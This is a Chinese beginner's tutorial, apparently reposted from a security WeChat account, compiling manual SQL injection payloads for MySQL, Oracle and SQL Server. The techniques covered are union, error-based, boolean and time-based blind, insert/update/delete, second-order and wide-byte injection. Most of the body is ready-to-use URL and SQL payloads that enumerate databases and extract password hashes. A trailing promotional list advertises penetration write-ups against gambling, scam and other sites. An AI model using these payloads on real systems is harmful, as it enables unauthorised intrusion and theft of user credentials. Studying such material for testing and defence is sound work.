适合新手的SQL手工注入总结

admin 2022年7月8日05:18:30评论52 views字数 11060阅读36分52秒阅读模式

虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。这只是一个简单的总结,只是简单的为新手分享一下SQL注入,文中内容可能会存在错误,望大佬们手下留情!

0x01 Mysql 手工注入

1.1 联合注入

?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:

exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。

updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度

?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

1.4.1 报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 ', mysql 会将 编码为 %5c,宽字节中两个字节代表一个汉字,所以把 %df加上 %5c就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

0x02 Oracle 手工注入

2.1 联合注入

?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

2.2 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

2.3 盲注

2.3.1 布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);

该函数的含义如下:

IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64-- #二分法

2.3.2 时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

0x03 SQL server 手工注入

3.1 联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

3.2 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

3.3 盲注

3.3.1 布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

3.3.2 时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--


免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

本文作者:蜜罐小明哥, 转载请注明来自FreeBuf.COM

———————

【2022HW系列】|10-一次某次攻防演练种的分析溯源

【2022HVV系列】|9-红蓝对抗-红队打点的那些事

【2022HVV系列】|8-应急响应之入侵排查

【2022HVV系列】|7-Windows主机入侵痕迹排查办法

【2022HVV系列】|6-记一次hw中的上线骚姿势(异速联+用友U8)

【2022HVV系列】|5-记一次溯源过程

【2022HVV系列】|4-红蓝对抗 | 红队打点的那些事

【2022HVV系列】|3-服务器入侵排查

【2022HVV系列】| 2-应急响应常用工具

【2022HVV系列】| 1-应急响应方法论思维导图


————————————————


【Hacking黑白红】,一线渗透攻防实战交流公众号

适合新手的SQL手工注入总结

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球



【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。






适合新手的SQL手工注入总结


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


适合新手的SQL手工注入总结





渗透实战系列


【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

适合新手的SQL手工注入总结

    

长按-识别-关注

适合新手的SQL手工注入总结

Hacking黑白红

一个专注信息安全技术的学习平台

适合新手的SQL手工注入总结

点分享

适合新手的SQL手工注入总结

点收藏

适合新手的SQL手工注入总结

点点赞

适合新手的SQL手工注入总结

点在看


原文始发于微信公众号(Hacking黑白红):适合新手的SQL手工注入总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日05:18:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   适合新手的SQL手工注入总结http://cn-sec.com/archives/1162957.html

发表评论

匿名网友 填写信息